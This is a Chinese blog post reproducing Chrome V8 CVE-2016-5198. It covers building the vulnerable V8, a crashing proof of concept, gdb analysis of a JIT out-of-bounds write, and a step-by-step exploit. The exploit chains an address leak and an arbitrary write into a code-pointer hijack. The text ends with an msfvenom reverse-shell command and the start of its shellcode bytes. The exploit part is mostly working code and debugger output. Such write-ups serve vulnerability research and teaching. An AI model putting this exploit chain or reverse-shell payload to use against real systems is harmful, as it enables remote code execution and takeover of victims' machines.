Chrome V8 CVE-2016-5198 复现
2024-9-5 17:44:29 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

0

v8漏洞复现环境搭建

0.0 环境依赖安装

◆系统镜像:ubuntu 24.04 下载链接(https://releases.ubuntu.com/24.04/ubuntu-24.04-desktop-amd64.iso)
◆创建系统 (这里建议多分配一点硬盘空间,v8编译20G打底,多分配点可以减少后续的折腾)
◆安装 ubuntu 系统
◆更新源并升级
sudo apt update
sudo apt upgrade
◆安装 vmtools 方便后续复制命令
sudo apt install open-vm-tools
sudo apt install open-vm-tools-desktop
◆安装各类依赖
sudo apt install bison cdbs curl flex g++ git vim pkg-config make lbzip2 clang openssl libssl-dev libncurses5
◆编译安装python2.7版本
sudo apt-get install build-essential checkinstall libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev
wget https://www.python.org/ftp/python/2.7.18/Python-2.7.18.tgz
tar xzf Python-2.7.18.tgz
cd Python-2.7.18
./configure --enable-optimizations
sudo make altinstall
◆创建link并设置选择 python 版本的选项
sudo ln -sfn '/usr/local/bin/python2.7' '/usr/bin/python2'
sudo update-alternatives --install /usr/bin/python python /usr/bin/python2 1
sudo update-alternatives --install /usr/bin/python python /usr/bin/python3 2
◆验证python版本
sudo update-alternatives --config python (选择切换Python版本)
python --version (查看Python版本)
(这里解释下为什么要安装 python2.7 ,这个漏洞存在于 v8 老版本,这个commit下版本编译/同步等诸多脚本使用的还是 python2 的语法,用python3 会有一大堆报错。)
◆安装libtinfo5
wget http://archive.ubuntu.com/ubuntu/pool/universe/n/ncurses/libtinfo5_6.4-2_amd64.deb
sudo dpkg -i libtinfo5_6.4-2_amd64.deb
我这里就选择python2.7版本为默认版本。

0.1 设置代理

这里我选择的是设置命令行的 HTTP 全局代理 和 git 代理
git config --global http.proxy 172.16.185.1:1087
echo 'export http_proxy="172.16.185.1:1087"' >> ~/.bashrc
echo 'export https_proxy=$http_proxy' >> ~/.bashrc
设置之后 depot_tools 下载包用的代理
echo '[Boto]' >> ~/.boto.cfg
echo 'proxy=http://172.16.185.1' >> ~/.boto.cfg
echo 'proxy_port=1087' >> ~/.boto.cfg
echo 'export NO_AUTH_BOTO_CONFIG=/home/jojo/.boto.cfg' >> ~/.bashrc

0.2 正式安装

◆下载 ninja 并配置环境变量
git clone https://github.com/ninja-build/ninja.git
cd ninja
./configure.py --bootstrap
echo 'export PATH=$PATH:"/home/jojo/Desktop/ninja"' >> ~/.bashrc
◆下载 depot_tools 并配置环境变量
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/home/jojo/Desktop/depot_tools"' >> ~/.bashrc
◆刷新命令行环境变量 或 重启命令行
source ~/.bashrc
◆正式拉取v8
fetch v8
# 这步会卡蛮久的,只要没报错就都是正常,等就完事
cd v8
# 拉取指定 漏洞版本 ,此版本为 CVE-2016-5198 所需版本
git checkout a7a350012c05f644f3f373fb48d7ac72f7f60542
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
至此,V8已经被被我们编译出来了。

0.3 Pwn 分析环境安装

◆切换 python 版本到 python3
sudo update-alternatives --config python
◆安装 pwntools
sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip --break-system-packages
python3 -m pip install --upgrade pwntools --break-system-packages
◆这边安装的时候 可以关闭git代理,否则可能会报错
关闭方法
git config --global --unset http.proxy
◆安装gdb pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
◆配置 V8 gdb插件,修改 ~/.gdbinit 内容,我配置的文件如下
source /home/jojo/pwndbg/gdbinit.py
source /home/jojo/Desktop/v8/tools/gdbinit
source /home/jojo/Desktop/v8/tools/gdb-v8-support.py
◆安装 msf
至此,环境搭建完毕。

0.4 V8漏洞复现中的一些小技巧

◆写在 js 代码里的调试语句,需要向 d8 传入命令行参数--allow-natives-syntax开启使用。
//DebugPrint 方法会打印目标对象的内存地址并对其主要信息进行输出
%DebugPrint(a);

//该方法可以在脚本中下断点
%SystemBreak();

◆gdb 调试时可以用如下方法运行js,并开启--allow-natives-syntax调试。
pwndbg> r --allow-natives-syntax poc.js
◆v8 的 gdbinit 所带的命令job, 作用跟写在js脚本里的%DebufPrint方法差不多,例:
pwndbg> job 0x1ee6f58ab791
0x1ee6f58ab791: [Function]
- map = 0x2ce9b88840f1 [FastProperties]
- prototype = 0x1ee6f58840b9
- elements = 0xc9b5f282241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
◆对比 JIT 优化前后的代码 可以向 d8 传入命令行参数--print-code,例:
./v8/out.gn/x64.debug/d8 --allow-natives-syntax --print-code poc.js


漏洞 commit 号

漏洞修复链接(https://chromium.googlesource.com/v8/v8/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6%5E%21/)
◆含漏洞版本:a7a350012c05f644f3f373fb48d7ac72f7f60542
拉取并编译:
# need use python2
git checkout a7a350012c05f644f3f373fb48d7ac72f7f60542
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8


Poc Check

function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
parseInt();
}
for(var i=0; i<2000; ++i) {
Ctor();
}
for(var i=0; i<2000; ++i) {
Check();
}

Ctor();
Check();

Output :
jojo@pwn:/mnt/hgfs/v8/CVE-2016-5198$ ~/Desktop/v8/out.gn/x64.debug/d8 poc.js
Received signal 11 <unknown> 000000000000

==== C stack trace ===============================

[0x796675dd8a4e]
[0x796675dd89a5]
[0x796673c45320]
[0x796674a2a0d5]
[0x7966752e3ecb]
[0x7966754c4bfa]
[0x7966754c4639]
[0x365abda043a7]
[end of stack trace]
Segmentation fault (core dumped)


漏洞成因分析

3.1 从优化代码视角观察

使用--print-code可以全量观察 JIT 优化前后机器码的区别,其中我们需要注意的是 Check 函数的优化。
jojo@pwn:/mnt/hgfs/v8/CVE-2016-5198$ ~/Desktop/v8/out.gn/x64.debug/d8 poc.js --print-code
...

//----------------------------优化前-------------------------------
--- Raw source ---
() {
n.xyz = 0x826852f4;
parseInt();
}
--- Code ---
source_position = 57
kind = FUNCTION
name = Check
compiler = full-codegen
Instructions (size = 212)
0x247968a869c0 0 55 push rbp
0x247968a869c1 1 4889e5 REX.W movq rbp,rsp
0x247968a869c4 4 56 push rsi
0x247968a869c5 5 57 push rdi
0x247968a869c6 6 488b4f2f REX.W movq rcx,[rdi+0x2f]
0x247968a869ca 10 488b490f REX.W movq rcx,[rcx+0xf]
0x247968a869ce 14 83411b01 addl [rcx+0x1b],0x1
0x247968a869d2 18 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x247968a869d9 25 7305 jnc 32 (0x247968a869e0)
0x247968a869db 27 e800bff5ff call StackCheck (0x2479689e28e0) ;; code: BUILTIN
0x247968a869e0 32 48b80000000002000000 REX.W movq rax,0x200000000
0x247968a869ea 42 e8f1d9ffff call 0x247968a843e0 ;; code: LOAD_GLOBAL_IC
0x247968a869ef 47 50 push rax
0x247968a869f0 48 48b881c3c2ba80280000 REX.W movq rax,0x2880bac2c381 ;; object: 0x2880bac2c381 <Number: 2.18788e+09>
0x247968a869fa 58 5a pop rdx
0x247968a869fb 59 48b919b0c2ba80280000 REX.W movq rcx,0x2880bac2b019 ;; object: 0x2880bac2b019 <String[3]: xyz>
0x247968a86a05 69 48bf0000000004000000 REX.W movq rdi,0x400000000
//---------------------------------------------- 优化前的变量赋值:优化前使用CALL LOAD_GLOBAL_IC / STORE_IC 去存储 XYZ 数据
0x247968a86a0f 79 e84cb8f0ff call 0x247968992260 ;; code: STORE_IC
//----------------------------------------------
0x247968a86a14 84 488b75f8 REX.W movq rsi,[rbp-0x8]
0x247968a86a18 88 48b80000000008000000 REX.W movq rax,0x800000000
0x247968a86a22 98 e8b9d9ffff call 0x247968a843e0 ;; code: LOAD_GLOBAL_IC
0x247968a86a27 103 50 push rax
0x247968a86a28 104 49ba1123c8293c130000 REX.W movq r10,0x133c29c82311 ;; object: 0x133c29c82311 <undefined>
0x247968a86a32 114 4152 push r10
0x247968a86a34 116 48ba0000000006000000 REX.W movq rdx,0x600000000
0x247968a86a3e 126 488b7c2408 REX.W movq rdi,[rsp+0x8]
0x247968a86a43 131 33c0 xorl rax,rax
0x247968a86a45 133 e8f6ddffff call 0x247968a84840 ;; code: CALL_IC
0x247968a86a4a 138 488b75f8 REX.W movq rsi,[rbp-0x8]
0x247968a86a4e 142 4883c408 REX.W addq rsp,0x8
0x247968a86a52 146 498b45a0 REX.W movq rax,[r13-0x60]
0x247968a86a56 150 48bb61c4c2ba80280000 REX.W movq rbx,0x2880bac2c461 ;; object: 0x2880bac2c461 Cell for 6144
0x247968a86a60 160 83430bd1 addl [rbx+0xb],0xd1
0x247968a86a64 164 791f jns 197 (0x247968a86a85)
0x247968a86a66 166 50 push rax
0x247968a86a67 167 e8f4bdf5ff call InterruptCheck (0x2479689e2860) ;; code: BUILTIN
0x247968a86a6c 172 58 pop rax
0x247968a86a6d 173 48bb61c4c2ba80280000 REX.W movq rbx,0x2880bac2c461 ;; object: 0x2880bac2c461 Cell for 6144
0x247968a86a77 183 49ba0000000000180000 REX.W movq r10,0x180000000000
0x247968a86a81 193 4c895307 REX.W movq [rbx+0x7],r10
0x247968a86a85 197 c9 leavel
0x247968a86a86 198 c20800 ret 0x8
0x247968a86a89 201 0f1f8000000000 nop

//----------------------------优化后-------------------------------
--- Code ---
0x247968a86c40 0 55 push rbp
0x247968a86c41 1 4889e5 REX.W movq rbp,rsp
0x247968a86c44 4 56 push rsi
0x247968a86c45 5 57 push rdi
0x247968a86c46 6 4883ec08 REX.W subq rsp,0x8
0x247968a86c4a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x247968a86c4e 14 488945e8 REX.W movq [rbp-0x18],rax
0x247968a86c52 18 488bf0 REX.W movq rsi,rax
0x247968a86c55 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x247968a86c5c 28 7305 jnc 35 (0x247968a86c63)
0x247968a86c5e 30 e87dbcf5ff call StackCheck (0x2479689e28e0) ;; code: BUILTIN
0x247968a86c63 35 48b859bdc2ba80280000 REX.W movq rax,0x2880bac2bd59 ;; object: 0x2880bac2bd59 PropertyCell for 0x2d4f15ad45e9 <a Set with map 0xf3399b8c391>
0x247968a86c6d 45 488b400f REX.W movq rax,[rax+0xf]
//---------------------------------------------------------------- 优化后减少了CALL LOAD_GLOBAL_IC / STORE_IC 的调用,取而代之的是直接的内存访问
// 原因是因为 Set 的 Fixed_Array 尚未分配空间,此时写的话就会产生数组越界问题
0x247968a86c71 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x247968a86c7b 59 c4c1f96ec2 vmovq xmm0,r10
0x247968a86c80 64 488b4007 REX.W movq rax,[rax+0x7]
0x247968a86c84 68 488b400f REX.W movq rax,[rax+0xf]
0x247968a86c88 72 c5fb114007 vmovsd [rax+0x7],xmm0
//----------------------------------------------------------------
0x247968a86c8d 77 49ba1123c8293c130000 REX.W movq r10,0x133c29c82311 ;; object: 0x133c29c82311 <undefined>
0x247968a86c97 87 4152 push r10
0x247968a86c99 89 48bf51d8c0ba80280000 REX.W movq rdi,0x2880bac0d851 ;; object: 0x2880bac0d851 <JS Function parseInt (SharedFunctionInfo 0x133c29cbce11)>
0x247968a86ca3 99 488b75e8 REX.W movq rsi,[rbp-0x18]
0x247968a86ca7 103 488b7727 REX.W movq rsi,[rdi+0x27]
0x247968a86cab 107 498b55a0 REX.W movq rdx,[r13-0x60]
0x247968a86caf 111 33c0 xorl rax,rax
0x247968a86cb1 113 bb02000000 movl rbx,0x2
0x247968a86cb6 118 e845efefff call ArgumentsAdaptorTrampoline (0x247968985c00) ;; code: BUILTIN
0x247968a86cbb 123 48b81123c8293c130000 REX.W movq rax,0x133c29c82311 ;; object: 0x133c29c82311 <undefined>
0x247968a86cc5 133 488be5 REX.W movq rsp,rbp
0x247968a86cc8 136 5d pop rbp
0x247968a86cc9 137 c20800 ret 0x8

3.2 调试观察数组越界

修改 poc.js ,在其中加入 native syntax ,便于我们调试 ,然后进入 gdb。
function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
parseInt();
}
for(var i=0; i<2000; ++i) {
Ctor();
}
for(var i=0; i<2000; ++i) {
Check();
}

Ctor();
%DebugPrint(Check);
%SystemBreak();
Check();

触发 native syntax 语法%SystemBreak();断下来后,关注打印的信息。
DebugPrint: 0x3bf28ee2b7d1: [Function]
- map = 0x43323040f1 [FastProperties]
- prototype = 0x3bf28ee040b9
- elements = 0xcd748382241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0x3bf28ee2b379 <SharedFunctionInfo Check>
- name = 0x3bf28ee2aff9 <String[5]: Check>
- formal_parameter_count = 0
- context = 0x3bf28ee03951 <FixedArray[235]>
- literals = 0x3bf28ee2c591 <FixedArray[1]>
- code = 0x3c1871406c21 <Code: OPTIMIZED_FUNCTION> //主要看这个 JSFunction 的结构,使用 job 命令可以在 gdb 中查看
使用 job 命令 可以看到 带有解释的汇编以及机器吗实际的地址。
pwndbg> job 0x3c1871406c21
0x3c1871406c21: [Code]
kind = OPTIMIZED_FUNCTION
stack_slots = 5
compiler = crankshaft
Instructions (size = 170)
0x3c1871406c80 0 55 push rbp
0x3c1871406c81 1 4889e5 REX.W movq rbp,rsp
...
此时我们就能对我们感兴趣的部分下断点了, 直接断点到取地址赋值的开始。
► 0x3c1871406ca3 movabs rax, 0x3bf28ee2bdb1 RAX => 0x3bf28ee2bdb1 ◂— 0xb1cecb02a
0x3c1871406cad mov rax, qword ptr [rax + 0xf] RAX, [0x3bf28ee2bdc0] => 0x13869995c4f1 ◂— 0x4100000043323065 /* 'e02C' */
0x3c1871406cb1 movabs r10, 0x41e04d0a5e800000 R10 => 0x41e04d0a5e800000
0x3c1871406cbb vmovq xmm0, r10
0x3c1871406cc0 mov rax, qword ptr [rax + 7] RAX, [0x13869995c4f8] => 0xcd748382241 ◂— 0xb1cecb023
0x3c1871406cc4 mov rax, qword ptr [rax + 0xf] RAX, [0xcd748382250] => 0xb1cecb02361 ◂— 0xb1cecb022

pwndbg> job 0x3bf28ee2bdb1
0x3bf28ee2bdb1: [PropertyCell]
- value: 0x13869995c4f1 <a Set with map 0x4332306509>
- details: (data, dictionary_index: 138, attrs: [WEC])
- cell_type: ConstantType (StableMap)

   
0x2c6522e06ca3 movabs rax, 0xbc7b43abdb1 RAX => 0xbc7b43abdb1 ◂— 0x3f7561c02a
0x2c6522e06cad mov rax, qword ptr [rax + 0xf] RAX, [0xbc7b43abdc0] => 0x290ed79dc4f1 ◂— 0x410000196777e865
0x2c6522e06cb1 movabs r10, 0x41e04d0a5e800000 R10 => 0x41e04d0a5e800000
0x2c6522e06cbb vmovq xmm0, r10
► 0x2c6522e06cc0 mov rax, qword ptr [rax + 7] RAX, [0x290ed79dc4f8] => 0x3e4915602241 ◂— 0x3f7561c023
0x2c6522e06cc4 mov rax, qword ptr [rax + 0xf] RAX, [0x3e4915602250] => 0x3f7561c02361 ◂— 0x3f7561c022
0x2c6522e06cc8 vmovsd qword ptr [rax + 7], xmm0
0x2c6522e06ccd movabs r10, 0x3e4915602311 R10 => 0x3e4915602311 ◂— 0x3f7561c024
0x2c6522e06cd7 push r10
0x2c6522e06cd9 movabs rdi, 0xbc7b438d851 RDI => 0xbc7b438d851 ◂— 0x410000196777e82a
0x2c6522e06ce3 mov rsi, qword ptr [rbp - 0x18] RSI, [0x7ffd0ebafdf8] => 0xbc7b4383951 ◂— 0x3f7561c02c

pwndbg> job $rax
0x13869995c4f1: [JSSet]
- map = 0x4332306509 [FastProperties]
- prototype = 0x3bf28ee15e49
- elements = 0xcd748382241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - table = 0x13869995c511 <FixedArray[13]>
- properties = {
}
pwndbg> x/4gx $rax-1
0x13869995c4f0: 0x0000004332306509 0x00000cd748382241
0x13869995c500: 0x00000cd748382241 0x000013869995c511
pwndbg> job 0x00000cd748382241
0xcd748382241: [FixedArray]
- length: 0

可以看到 这个时候 FixedArray 的长度是 0,如果此时向其中写入内容则会发生数组越界。

越界前 FixedArray:
pwndbg> x/6gx 0x00000cd748382240
0xcd748382240: 0x00000b1cecb02309 0x0000000000000000
0xcd748382250: 0x00000b1cecb02361 0x00000000803b1506
0xcd748382260: 0x0000000400000000 0xdeadbeed6c6c756e
越界前 先看下各项是什么:
pwndbg> job 0x00000b1cecb02309
0xb1cecb02309: [Map]
- type: FIXED_ARRAY_TYPE
- instance size: 0
- elements kind: FAST_HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0xcd748382311 <undefined>
- instance descriptors (own) #0: 0xcd748382231 <FixedArray[0]>
- layout descriptor: 0
- prototype: 0xcd748382201 <null>
- constructor: 0xcd748382201 <null>
- code cache: 0xcd748382241 <FixedArray[0]>
- dependent code: 0xcd748382241 <FixedArray[0]>
- construction counter: 0

pwndbg> job 0x00000b1cecb02361
0xb1cecb02361: [Map]
- type: ONE_BYTE_INTERNALIZED_STRING_TYPE
- instance size: 0
- elements kind: FAST_HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0xcd748382311 <undefined>
- instance descriptors (own) #0: 0xcd748382231 <FixedArray[0]>
- layout descriptor: 0
- prototype: 0xcd748382201 <null>
- constructor: 0xcd748382201 <null>
- code cache: 0xcd748382241 <FixedArray[0]>
- dependent code: 0xcd748382241 <FixedArray[0]>
- construction counter: 0

所以在越界前, FixArray的内存布局为:
pwndbg> x/6gx 0x00000cd748382240
0xcd748382240: 0x00000b1cecb02309 (FIXED_ARRAY_TYPE) 0x0000000000000000
0xcd748382250: 0x00000b1cecb02361 (ONE_BYTE_INTERNALIZED_STRING_TYPE) 0x00000000803b1506
0xcd748382260: 0x0000000400000000 0xdeadbeed6c6c756e
来到越界写的这一条指令:
0x3c1871406cc0 mov rax, qword ptr [rax + 7] RAX, [0x13869995c4f8] => 0xcd748382241 ◂— 0xb1cecb023
0x3c1871406cc4 mov rax, qword ptr [rax + 0xf] RAX, [0xcd748382250] => 0xb1cecb02361 ◂— 0xb1cecb022
► 0x3c1871406cc8 vmovsd qword ptr [rax + 7], xmm0
0x3c1871406ccd movabs r10, 0xcd748382311 R10 => 0xcd748382311 ◂— 0xb1cecb024

pwndbg> x/6gx $rax-1
0xb1cecb02360: 0x00000b1cecb02259 0x0019000400007300 <- 所以,越界写是写到了这个位置
0xb1cecb02370: 0x00000000082003ff 0x00000cd748382201
0xb1cecb02380: 0x00000cd748382201 0x0000000000000000

单步执行后验证:
pwndbg> x/6gx $rax-1
0xb1cecb02360: 0x00000b1cecb02259 0x41e04d0a5e800000 <- 成功溢出,破坏了 ONE_BYTE_INTERNALIZED_STRING_TYPE 结构
0xb1cecb02370: 0x00000000082003ff 0x00000cd748382201
0xb1cecb02380: 0x00000cd748382201 0x0000000000000000

# 此时再去用 job 命令解析结构,也会失败:
pwndbg> job 0xb1cecb02361
0xb1cecb02361: [Map]
- type: EXTERNAL_INTERNALIZED_STRING_WITH_ONE_BYTE_DATA_TYPE
- instance size: 0
- elements kind:
#
# Fatal error in ../../src/elements.h, line 28
# Check failed: static_cast<int>(elements_kind) < kElementsKindCount.


漏洞利用构造

4.1 逐步构造利用

4.1.1 如何初步控制越界数组写入位置

在构造利用前 我们先观察一个规律。
function Check(obj) {
n.xyz = 3.4766863919152113e-308;
n.xyz1 = 0x0;
n.xyz2 = 0x7000;
n.xyz3 = obj;
}
for (var i = 0; i < 10000; ++i) {
Check(null);
}
如上的Check函数 当循环多次后,JIT 引擎对函数产生了优化, 对 n 的赋值部分汇编如下:
0x211408780d 45 488b400f REX.W movq rax,[rax+0xf]
0x2114087811 49 49ba0073000004001900 REX.W movq r10,0x19000400007300
0x211408781b 59 c4c1f96ec2 vmovq xmm0,r10
0x2114087820 64 488b5807 REX.W movq rbx,[rax+0x7]
0x2114087824 68 488b5b0f REX.W movq rbx,[rbx+0xf]
0x2114087828 72 c5fb114307 vmovsd [rbx+0x7],xmm0 // n.xyz
0x211408782d 77 488b5807 REX.W movq rbx,[rax+0x7]
0x2114087831 81 c7431b00000000 movl [rbx+0x1b],0x0 // n.xyz1
0x2114087838 88 488b5807 REX.W movq rbx,[rax+0x7]
0x211408783c 92 c7432300700000 movl [rbx+0x23],0x7000 // n.xyz2
0x2114087843 99 488b5d10 REX.W movq rbx,[rbp+0x10]
0x2114087847 103 f6c301 testb rbx,0x1
0x211408784a 106 0f843f000000 jz 175 (0x211408788f)
0x2114087850 112 488b5007 REX.W movq rdx,[rax+0x7]
0x2114087854 116 48895a27 REX.W movq [rdx+0x27],rbx //n.xyz3
可以看到 ,其中 只有 n.xyz 把[[rax+0x7] + offset]位置的数据当作指针处理,而其他的变量都是直接写到[[rax+0x7] + offset]位置上。
如果我们换一个js写法:
function Check(obj) {
n.xyz = 3.4766863919152113e-308;
n.xyz1 = 3.5766863919152113e-308;
n.xyz2 = 3.6766863919152113e-308;
n.xyz3 = obj;
}
for (var i = 0; i < 10000; ++i) {
Check(3.4766863919152113e-308);
}
此时优化后的汇编如下:
0x14de39186f6d 45 488b400f REX.W movq rax,[rax+0xf]
0x14de39186f71 49 49ba0073000004001900 REX.W movq r10,0x19000400007300
0x14de39186f7b 59 c4c1f96ec2 vmovq xmm0,r10
0x14de39186f80 64 488b5807 REX.W movq rbx,[rax+0x7]
0x14de39186f84 68 488b5b0f REX.W movq rbx,[rbx+0xf]
0x14de39186f88 72 c5fb114307 vmovsd [rbx+0x7],xmm0 // n.xyz
0x14de39186f8d 77 49baaf70697219b81900 REX.W movq r10,0x19b819726970af
0x14de39186f97 87 c4c1f96ec2 vmovq xmm0,r10
0x14de39186f9c 92 488b5807 REX.W movq rbx,[rax+0x7]
0x14de39186fa0 96 488b5b17 REX.W movq rbx,[rbx+0x17]
0x14de39186fa4 100 c5fb114307 vmovsd [rbx+0x7],xmm0 // n.xyz1
0x14de39186fa9 105 49ba5d6ed2e42e701a00 REX.W movq r10,0x1a702ee4d26e5d
0x14de39186fb3 115 c4c1f96ec2 vmovq xmm0,r10
0x14de39186fb8 120 488b5807 REX.W movq rbx,[rax+0x7]
0x14de39186fbc 124 488b5b1f REX.W movq rbx,[rbx+0x1f]
0x14de39186fc0 128 c5fb114307 vmovsd [rbx+0x7],xmm0 // n.xyz2
0x14de39186fc5 133 488b4007 REX.W movq rax,[rax+0x7]
0x14de39186fc9 137 488b4027 REX.W movq rax,[rax+0x27]
0x14de39186fcd 141 488b5d10 REX.W movq rbx,[rbp+0x10]
0x14de39186fd1 145 f6c301 testb rbx,0x1
0x14de39186fd4 148 7415 jz 171 (0x14de39186feb)
0x14de39186fd6 150 4d8b5560 REX.W movq r10,[r13+0x60]
0x14de39186fda 154 4c3953ff REX.W cmpq [rbx-0x1],r10
0x14de39186fde 158 c5fb104307 vmovsd xmm0,[rbx+0x7]
0x14de39186fe3 163 0f8528000000 jnz 209 (0x14de39187011)
0x14de39186fe9 169 eb10 jmp 187 (0x14de39186ffb)
0x14de39186feb 171 4c8bd3 REX.W movq r10,rbx
0x14de39186fee 174 49c1ea20 REX.W shrq r10, 32
0x14de39186ff2 178 c5f957c0 vxorpd xmm0,xmm0,xmm0
0x14de39186ff6 182 c4c17b2ac2 vcvtlsi2sd xmm0,xmm0,r10
0x14de39186ffb 187 c5fb114007 vmovsd [rax+0x7],xmm0 // n.xyz3
由此可以总结出一条规律,只要是写入浮点数,(通过参考文章也可以知道,其实是非 smi 的赋值),我们写入的目标就是[[rax+0x7] + offset]指针指向的内存。

如果是写入的是 smi ,则会直接写在
[[rax+0x7] + offset]上。

4.1.2 构造 null string 以实现 leak 地址

构造 payload 如下:
function Ctor() {
n = new Set();
}
function Check(obj) {
n.xyz = 3.4766863919152113e-308;
n.xyz1 = 0x0;
n.xyz2 = 0x7000;
n.xyz3 = obj;
}
for (var i = 0; i < 10000; ++i) {
Ctor();
}
for (var i = 0; i < 10000; ++i) {
Check(null);
}
Ctor(); //初始化
var str = new String(null);
Check(Check);
调试观察内存情况:
pwndbg> x/8gx 0x34ebbba02240
0x34ebbba02240: 0x00000d18fe082309 0x0000000000000000
0x34ebbba02250: 0x00000d18fe082361 0x00000000803b1506
0x34ebbba02260: 0x00007000 -> n.xyz2 00000000 -> n.xyz1 0x000002fe0a8abe11 -> n.xyz3,也就是 Check的结构地址
0x34ebbba02270: 0x00000d18fe082361 0x00000000c5f6c42a

验证Check结构
pwndbg> job 0x000002fe0a8abe11
0x2fe0a8abe11: [Function]
- map = 0x3a00265840f1 [FastProperties]
- prototype = 0x2fe0a8840b9
- elements = 0x34ebbba02241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0x2fe0a8ab791 <SharedFunctionInfo Check>
- name = 0x2fe0a8ab061 <String[5]: Check>
- formal_parameter_count = 1
- context = 0x2fe0a883951 <FixedArray[235]>
- literals = 0x2fe0a8acc81 <FixedArray[1]>
- code = 0x1865f0707781 <Code: OPTIMIZED_FUNCTION>
- properties = {
#length: 0x34ebbba555d9 <AccessorInfo> (accessor constant)
#name: 0x34ebbba55649 <AccessorInfo> (accessor constant)
#arguments: 0x34ebbba556b9 <AccessorInfo> (accessor constant)
#caller: 0x34ebbba55729 <AccessorInfo> (accessor constant)
#prototype: 0x34ebbba55799 <AccessorInfo> (accessor constant)
}

如此,我们便把 Check JSFunciton 结构的地址填到了 null string 的 value 字段,然后我们通过 str.charCodeAt(x) 即可取出每个字节的数据。
function get_addr(str) {
var leak_addr = str.charCodeAt(7) * 0x100000000000000;
leak_addr += str.charCodeAt(6) * 0x1000000000000;
leak_addr += str.charCodeAt(5) * 0x10000000000;
leak_addr += str.charCodeAt(4) * 0x100000000;
leak_addr += str.charCodeAt(3) * 0x1000000;
leak_addr += str.charCodeAt(2) * 0x10000;
leak_addr += str.charCodeAt(1) * 0x100;
leak_addr += str.charCodeAt(0) * 0x1;
return leak_addr;
}
如上,组合后即可 leak 出填入 string value 字段的目标地址。

4.1.3 将部分写拓展为任意写

通过上一节的规律我们可以发现,如果写入一个非smi,则会写入[[rax+0x7] + offset]指向的地址,那如果[[rax+0x7] + offset]指向的位置即是 [rax+0x7] 是不是即可以完成任意地址写?
即,我们想要构造的内存如下:
pwndbg> x/8gx 0x34ebbba02240
0x34ebbba02240: 0x00000d18fe082309 0x0000000000000000
0x34ebbba02250: 0x00000d18fe082361 0x00000000803b1506
0x34ebbba02260: 0x00007000 -> n.xyz2 00000000 -> n.xyz1 0x000034ebbba02251 -> 这里指向 0x34ebbba02250,那么我们的浮点数即可卸载 0x34ebbba02258 位置上
0x34ebbba02270: 0x00000d18fe082361 0x00000000c5f6c42a
这个内存结构就是 null(string).value -> &null(string),然后我们再创造另一个优化后目标是写入指针的函数,即可在任意地址写入任意浮点数(任意写达成)。

如下:
var n;
var m;
// int->doubl
// d2u(intaddr/0x100000000,intaddr&0xffffffff)
function d2u(num1, num2) {
d = new Uint32Array(2);
d[0] = num2;
d[1] = num1;
f = new Float64Array(d.buffer);
return f[0];
}

function get_addr(str) {
var leak_addr = str.charCodeAt(7) * 0x100000000000000;
leak_addr += str.charCodeAt(6) * 0x1000000000000;
leak_addr += str.charCodeAt(5) * 0x10000000000;
leak_addr += str.charCodeAt(4) * 0x100000000;
leak_addr += str.charCodeAt(3) * 0x1000000;
leak_addr += str.charCodeAt(2) * 0x10000;
leak_addr += str.charCodeAt(1) * 0x100;
leak_addr += str.charCodeAt(0) * 0x1;
return leak_addr;
}

function Ctor() {
n = new Set();
}

function Ctor2(){
m = new Map();
}

function Check(obj) {
n.xyz = 3.4766863919152113e-308;
n.xyz1 = 0x0;
n.xyz2 = 0x7000;
n.xyz3 = obj;
}

function Check2(addr) {
m.xyz = 3.4766863919152113e-308;
m.xyz1 = 0x0;
m.xyz2 = 0x7000;
m.xyz3 = addr;
}

for (var i = 0; i < 10000; ++i) {
Ctor();
Ctor2();
}
for (var i = 0; i < 10000; ++i) {
Check(null);
Check2(3.4766863919152113e-308);
}

Ctor();
Ctor2();

Check(String(null));

%DebugPrint(Check2);
%SystemBreak();

target_addr = 0x11111111111111;
target_addr_float = d2u(target_addr / 0x100000000, target_addr & 0xffffffff);

Check2(target_addr_float);

任意写之后,内存结构如下,如我们预期。
pwndbg> x/10gx $rax-0x11
0x1288a402240: 0x000007126fa82309 0x0000000000000000
0x1288a402250: 0x000007126fa82361 0x0011111111111111
0x1288a402260: 0x0000700000000000 0x000001288a402251

4.1.4 任意写拓展到代码执行

这里直接解释下exp的思路:

当我们有了任意写的能力后,可以通过自定义一个函数,然后修改函数的机器码地址指针,让其指向我们申请的另一块数组内存。

而我们将真正的 shellcode 写到这个内存中。

代码详见 后续完整exp部分。

4.1.5 代码执行到反弹shell

shellcode 可以由 msf 生成:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=12345 -a x64 -f python
然后将其按照我们能够利用的方式排列。
#use msf
#msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=12345 -a x64 -f python

from pwn import *

buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x30\x39\x7f\x00\x00\x01"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
